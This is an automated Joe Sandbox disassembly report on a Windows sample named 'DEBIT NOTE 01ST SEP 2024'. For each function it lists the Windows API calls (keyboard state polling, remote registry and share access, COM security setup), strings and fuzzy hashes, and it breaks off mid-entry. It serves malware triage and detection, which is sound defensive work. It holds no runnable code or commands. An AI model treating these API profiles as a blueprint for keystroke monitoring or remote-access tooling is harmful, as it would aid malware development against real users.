                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ArraySafe$Data$Access$Unaccess$_memmovestd::exception::exception$Exception@8ThrowVartype_malloc
                                          • String ID:
                                          • API String ID: 2170234536-0
                                          • Opcode ID: aa00afaeb95d016149156b33273ce501c4b0800cd775f7336c4c4d99d01e60ec
                                          • Instruction ID: 6369f5c3f22445f0d5bf5c4520e4337682cbd46778e63a39b460943b9460954a
                                          • Opcode Fuzzy Hash: aa00afaeb95d016149156b33273ce501c4b0800cd775f7336c4c4d99d01e60ec
                                          • Instruction Fuzzy Hash: 26B124716042059FD700CF59D884BAEB7B5FF88308F24856EEA05DB351EB3AD845CB6A
                                          Function 00453C57 Relevance: 18.2, APIs: 12, Instructions: 190keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetKeyboardState.USER32(?), ref: 00453CE0
                                          • SetKeyboardState.USER32(?), ref: 00453D3B
                                          • GetAsyncKeyState.USER32(000000A0), ref: 00453D5E
                                          • GetKeyState.USER32(000000A0), ref: 00453D75
                                          • GetAsyncKeyState.USER32(000000A1), ref: 00453DA4
                                          • GetKeyState.USER32(000000A1), ref: 00453DB5
                                          • GetAsyncKeyState.USER32(00000011), ref: 00453DE1
                                          • GetKeyState.USER32(00000011), ref: 00453DEF
                                          • GetAsyncKeyState.USER32(00000012), ref: 00453E18
                                          • GetKeyState.USER32(00000012), ref: 00453E26
                                          • GetAsyncKeyState.USER32(0000005B), ref: 00453E4F
                                          • GetKeyState.USER32(0000005B), ref: 00453E5D
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: State$Async$Keyboard
                                          • String ID:
                                          • API String ID: 541375521-0
                                          • Opcode ID: a3f88cab2abdfc68c44a637c7b6f2bd83c4aa3bfdff3a706604d8f1b20d6ef18
                                          • Instruction ID: 009fbf1908f75ed0a62addf5985db529f64a747a45b1090b1102dc3b9208550d
                                          • Opcode Fuzzy Hash: a3f88cab2abdfc68c44a637c7b6f2bd83c4aa3bfdff3a706604d8f1b20d6ef18
                                          • Instruction Fuzzy Hash: BC61DD3190478829FB329F6488057EBBBF45F12346F08459ED9C2162C3D7AC6B4CCB65
                                          Function 004357B7 Relevance: 18.2, APIs: 12, Instructions: 184COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDlgItem.USER32(?,00000001), ref: 004357DB
                                          • GetWindowRect.USER32(00000000,?), ref: 004357ED
                                          • MoveWindow.USER32(?,0000000A,?,?,?,00000000), ref: 00435857
                                          • GetDlgItem.USER32(?,00000002), ref: 0043586A
                                          • GetWindowRect.USER32(00000000,?), ref: 0043587C
                                          • MoveWindow.USER32(?,?,00000000,?,00000001,00000000), ref: 004358CE
                                          • GetDlgItem.USER32(?,000003E9), ref: 004358DC
                                          • GetWindowRect.USER32(00000000,?), ref: 004358EE
                                          • MoveWindow.USER32(?,0000000A,00000000,?,?,00000000), ref: 00435933
                                          • GetDlgItem.USER32(?,000003EA), ref: 00435941
                                          • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 0043595A
                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00435967
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$ItemMoveRect$Invalidate
                                          • String ID:
                                          • API String ID: 3096461208-0
                                          • Opcode ID: 5d52927da84fb547f57ff0a94c85d4d7e4cc3ec4f802ea2f498aab0433028225
                                          • Instruction ID: 6af1b44a8b8b1dd3dfd8c00d901dfbe31295268d39f582813a56aed3f3dd18d2
                                          • Opcode Fuzzy Hash: 5d52927da84fb547f57ff0a94c85d4d7e4cc3ec4f802ea2f498aab0433028225
                                          • Instruction Fuzzy Hash: 7C515FB1B00609ABCB18DF68CD95AAEB7B9EF88310F148529F905E7390E774ED008B54
                                          Function 004714D9 Relevance: 18.1, APIs: 12, Instructions: 132windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowLongW.USER32(?,000000F0), ref: 004714DC
                                          • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 004714F7
                                          • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 00471510
                                          • DeleteObject.GDI32(?), ref: 0047151E
                                          • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,000000F0), ref: 0047152C
                                          • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0047156F
                                          • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 00471588
                                          • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 004715A9
                                          • DestroyIcon.USER32(?,?,?,?,?,?,000000F0), ref: 004715CD
                                          • SendMessageW.USER32(?,000000F7,00000001,?), ref: 004715DC
                                          • DeleteObject.GDI32(?), ref: 004715EA
                                          • DestroyIcon.USER32(?,?,000000F7,00000001,?,?,?,?,?,?,000000F0), ref: 004715F8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Icon$DestroyMessageSend$DeleteImageLoadObject$ExtractLongWindow
                                          • String ID:
                                          • API String ID: 3218148540-0
                                          • Opcode ID: 09c61f0bb0da2772a57e209ce6a73de2c43359248684d71e73f4e5cafd481585
                                          • Instruction ID: 6a50b90733f0312424b7b906018c15bc054940e4c1588362709ca6bab20dc4d5
                                          • Opcode Fuzzy Hash: 09c61f0bb0da2772a57e209ce6a73de2c43359248684d71e73f4e5cafd481585
                                          • Instruction Fuzzy Hash: D2419231740206ABDB209F69DD49FEB77A8EB84711F10452AFA46E72D0DBB4E805C768
                                          Function 00433784 Relevance: 18.1, APIs: 12, Instructions: 119COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                          • String ID:
                                          • API String ID: 136442275-0
                                          • Opcode ID: 6cac6aaee55c93d52b89e688f8fbcd2468be5ec8bb4ca81dd5968faf06821e55
                                          • Instruction ID: 55d98b2249b58b9b89d53d2d63704957c70a659fb5fc0040d5683289e7d9fa4f
                                          • Opcode Fuzzy Hash: 6cac6aaee55c93d52b89e688f8fbcd2468be5ec8bb4ca81dd5968faf06821e55
                                          • Instruction Fuzzy Hash: C24174B381021C66CB24EB55CC41DEE737DAB98705F0085DEB60963141EA796BC8CFA5
                                          Function 00467408 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 308COMMON
                                          Download Yara Rule
                                          APIs
                                          • _wcsncpy.LIBCMT ref: 00467490
                                          • _wcsncpy.LIBCMT ref: 004674BC
                                            • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                            • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                                          • _wcstok.LIBCMT ref: 004674FF
                                            • Part of subcall function 00413EB8: __getptd.LIBCMT ref: 00413EBE
                                          • _wcstok.LIBCMT ref: 004675B2
                                          • GetOpenFileNameW.COMDLG32(00000058), ref: 00467774
                                          • _wcslen.LIBCMT ref: 00467793
                                          • _wcscpy.LIBCMT ref: 00467641
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          • _wcslen.LIBCMT ref: 004677BD
                                          • GetSaveFileNameW.COMDLG32(00000058), ref: 00467807
                                            • Part of subcall function 00461465: _memmove.LIBCMT ref: 004614F8
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$FileName_memmove_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                          • String ID: X
                                          • API String ID: 3104067586-3081909835
                                          • Opcode ID: bae8ec41c075a4f6a2b7e9f416d910fa80a531229cf5203f8bd385032f306646
                                          • Instruction ID: 683e1e2944aeccc99b179fad4e52216d38d827d7da526ed866e93360804c4864
                                          • Opcode Fuzzy Hash: bae8ec41c075a4f6a2b7e9f416d910fa80a531229cf5203f8bd385032f306646
                                          • Instruction Fuzzy Hash: 69C1C5306083009BD310FF65C985A5FB7E4AF84318F108D2EF559972A2EB78ED45CB9A
                                          Function 0046CB5F Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 304comCOMMON
                                          Download Yara Rule
                                          APIs
                                          • OleInitialize.OLE32(00000000), ref: 0046CBC7
                                          • CLSIDFromProgID.OLE32(?,?), ref: 0046CBDF
                                          • CLSIDFromString.OLE32(?,?), ref: 0046CBF1
                                          • CoCreateInstance.OLE32(?,?,00000005,00482998,?), ref: 0046CC56
                                          • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0046CCCA
                                          • _wcslen.LIBCMT ref: 0046CDB0
                                          • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 0046CE33
                                          • CoTaskMemFree.OLE32(?), ref: 0046CE42
                                          • CoSetProxyBlanket.OLE32(?,?,?,?,?,?,?,00000800), ref: 0046CE85
                                            • Part of subcall function 00468070: VariantInit.OLEAUT32(00000000), ref: 004680B0
                                            • Part of subcall function 00468070: VariantCopy.OLEAUT32(00000000,00479A50), ref: 004680BA
                                            • Part of subcall function 00468070: VariantClear.OLEAUT32 ref: 004680C7
                                          Strings
                                          • NULL Pointer assignment, xrefs: 0046CEA6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$CreateFromInitializeInstance$BlanketClearCopyFreeInitProgProxySecurityStringTask_wcslen
                                          • String ID: NULL Pointer assignment
                                          • API String ID: 440038798-2785691316
                                          • Opcode ID: 58df38d68bb8b0de8b452a242e06650ce93d7fbbb76e65ad7c2ec0be56c62684
                                          • Instruction ID: 7aab634462a7dbcbf958abac95e41bd58996b502d0213671d322085b5631b432
                                          • Opcode Fuzzy Hash: 58df38d68bb8b0de8b452a242e06650ce93d7fbbb76e65ad7c2ec0be56c62684
                                          • Instruction Fuzzy Hash: 74B13FB1D00229AFDB10DFA5CC85FEEB7B8EF48700F10855AF909A7281EB745A45CB95
                                          Function 00461014 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetClassNameW.USER32(?,?,00000400), ref: 00461056
                                          • GetWindowTextW.USER32(?,?,00000400), ref: 00461092
                                          • _wcslen.LIBCMT ref: 004610A3
                                          • CharUpperBuffW.USER32(?,00000000), ref: 004610B1
                                          • GetClassNameW.USER32(?,?,00000400), ref: 00461124
                                          • GetWindowTextW.USER32(?,?,00000400), ref: 0046115D
                                          • GetClassNameW.USER32(?,?,00000400), ref: 004611A1
                                          • GetClassNameW.USER32(?,?,00000400), ref: 004611D9
                                          • GetWindowRect.USER32(?,?), ref: 00461248
                                            • Part of subcall function 00436299: _memmove.LIBCMT ref: 004362D9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ClassName$Window$Text$BuffCharRectUpper_memmove_wcslen
                                          • String ID: ThumbnailClass
                                          • API String ID: 4136854206-1241985126
                                          • Opcode ID: d083942efa6e299b81e87f64ddc190b4296276633e8192dbc1e7cc466e4535cb
                                          • Instruction ID: 9bdbaadfe46dce382da1609a4111f175dadd43cf518d3c7fb815d390e9d71813
                                          • Opcode Fuzzy Hash: d083942efa6e299b81e87f64ddc190b4296276633e8192dbc1e7cc466e4535cb
                                          • Instruction Fuzzy Hash: D991F3715043009FCB14DF51C881BAB77A8EF89719F08895FFD84A6252E738E946CBA7
                                          Function 004718BA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 147windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 004718C7
                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00471922
                                          • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 00471947
                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 00471960
                                          • SendMessageW.USER32(?,0000113E,00000000,?), ref: 004719E0
                                          • SendMessageW.USER32(?,0000113F,00000000,00000032), ref: 00471A0D
                                          • GetClientRect.USER32(?,?), ref: 00471A1A
                                          • RedrawWindow.USER32(?,?,00000000,00000000), ref: 00471A29
                                          • DestroyIcon.USER32(?), ref: 00471AF4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                          • String ID: 2
                                          • API String ID: 1331449709-450215437
                                          • Opcode ID: 35af861e1287c83bf6b22685c9feb70a55a109cab4d535c9bbd66d0cf124b3e0
                                          • Instruction ID: 8a8bfaa361b8e4ad447499ed02e60938d35b352fbee86dd909721fc396438cf5
                                          • Opcode Fuzzy Hash: 35af861e1287c83bf6b22685c9feb70a55a109cab4d535c9bbd66d0cf124b3e0
                                          • Instruction Fuzzy Hash: 19519070A00209AFDB10CF98CD95BEEB7B5FF49310F10815AEA09AB3A1D7B4AD41CB55
                                          Function 0046081F Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 139COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,00427F75,?,0000138C,?,00000001,?,?,?), ref: 004608A9
                                          • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608B0
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,00427F75,?,0000138C,?,00000001,?,?,?,?,?,00000000), ref: 004608D0
                                          • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608D7
                                          • __swprintf.LIBCMT ref: 00460915
                                          • __swprintf.LIBCMT ref: 0046092D
                                          • _wprintf.LIBCMT ref: 004609E1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: HandleLoadModuleString__swprintf$_memmove_wcslen_wprintf
                                          • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d:$^ ERROR
                                          • API String ID: 3054410614-2561132961
                                          • Opcode ID: 70def87c4b28ee4ab6614adc46955888b63d74e37d3694ee9c83f9e80406ad7b
                                          • Instruction ID: 8ea7bd36613c7ff98b4c02c5a019b599898316a67ab96f708308d0ed756dbd7a
                                          • Opcode Fuzzy Hash: 70def87c4b28ee4ab6614adc46955888b63d74e37d3694ee9c83f9e80406ad7b
                                          • Instruction Fuzzy Hash: 654183B29001099BDB00FBD1DC9AAEF7778EF44354F45403AF504B7192EB78AA45CBA9
                                          Function 00458651 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 135registryshareCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00458721
                                          • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 0045873E
                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?), ref: 0045875C
                                          • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 0045878A
                                          • CLSIDFromString.OLE32(?,?), ref: 004587B3
                                          • RegCloseKey.ADVAPI32(000001FE), ref: 004587BF
                                          • RegCloseKey.ADVAPI32(?), ref: 004587C5
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_wcslen
                                          • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                          • API String ID: 600699880-22481851
                                          • Opcode ID: cfc91adc3568b3696bc93f198b4a86b184f94eddf56cabac594ca02b2fd0747b
                                          • Instruction ID: 095cb2d92039a6881e8bf561e9cb0619f72fc8c68408713302cc045b8cca0367
                                          • Opcode Fuzzy Hash: cfc91adc3568b3696bc93f198b4a86b184f94eddf56cabac594ca02b2fd0747b
                                          • Instruction Fuzzy Hash: 58415275D0020DABCB04EBA4DC45ADE77B8EF48304F10846EE914B7291EF78A909CB94
                                          Function 00450C41 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 122COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: DestroyWindow
                                          • String ID: static
                                          • API String ID: 3375834691-2160076837
                                          • Opcode ID: d780a762e7facdedeb15ece3d926807f2c32385f8c9501599d87c18bab5c95b9
                                          • Instruction ID: e571488c54e010bbe3192cf51c39f0d33963e2fa0fa89bc12fd4c8100c345edb
                                          • Opcode Fuzzy Hash: d780a762e7facdedeb15ece3d926807f2c32385f8c9501599d87c18bab5c95b9
                                          • Instruction Fuzzy Hash: 2C41B375200205ABDB149F64DC85FEB33A8EF89725F20472AFA15E72C0D7B4E841CB68
                                          Function 0045D94B Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 88COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D959
                                          • GetDriveTypeW.KERNEL32(?,?), ref: 0045D9AB
                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045DA4B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$DriveType
                                          • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$\VH
                                          • API String ID: 2907320926-3566645568
                                          • Opcode ID: d176aaa606c69a21fa64de5f54fcf515c340d5c4a7f23c4320f7b4e4ff292d02
                                          • Instruction ID: 8c6a7395db7573f60177d60b7e789de744ab79b943898383e565048f237880a7
